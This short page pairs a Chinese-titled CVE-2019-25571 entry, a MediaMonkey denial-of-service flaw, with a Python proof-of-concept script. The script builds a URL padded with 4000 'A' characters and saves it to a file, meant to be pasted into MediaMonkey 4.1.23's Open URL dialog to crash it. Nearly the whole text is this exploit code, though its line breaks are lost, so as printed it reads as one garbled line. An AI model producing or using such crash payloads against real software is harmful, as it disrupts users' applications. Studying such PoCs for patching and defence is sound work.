CVE-2019-25571 MediaMonkey拒绝服务漏洞

import os # PoC for CVE-2019-25571 # This script demonstrates how to generate a malicious URL string # that can trigger a Denial of Service in MediaMonkey 4.1.23. def generate_malicious_url(): # Base URL simulating a valid resource base_url = "http://example.com/song.mp3" # Buffer size to trigger the crash (4000 bytes as per description) buffer_size = 4000 # Creating the payload with repeated characters payload = "A" * buffer_size # Appending payload to the URL malicious_url = base_url + payload return malicious_url if __name__ == "__main__": exploit_url = generate_malicious_url() # In a real attack scenario, this URL would be passed to the # MediaMonkey application via the "File > Open URL" dialog. print(f"Generated Malicious URL Length: {len(exploit_url)}") print(f"Payload Preview: {exploit_url[:50]}...") # Save to file for reference with open("cve_2019_25571_poc.txt", "w") as f: f.write(exploit_url) print("Payload saved to cve_2019_25571_poc.txt")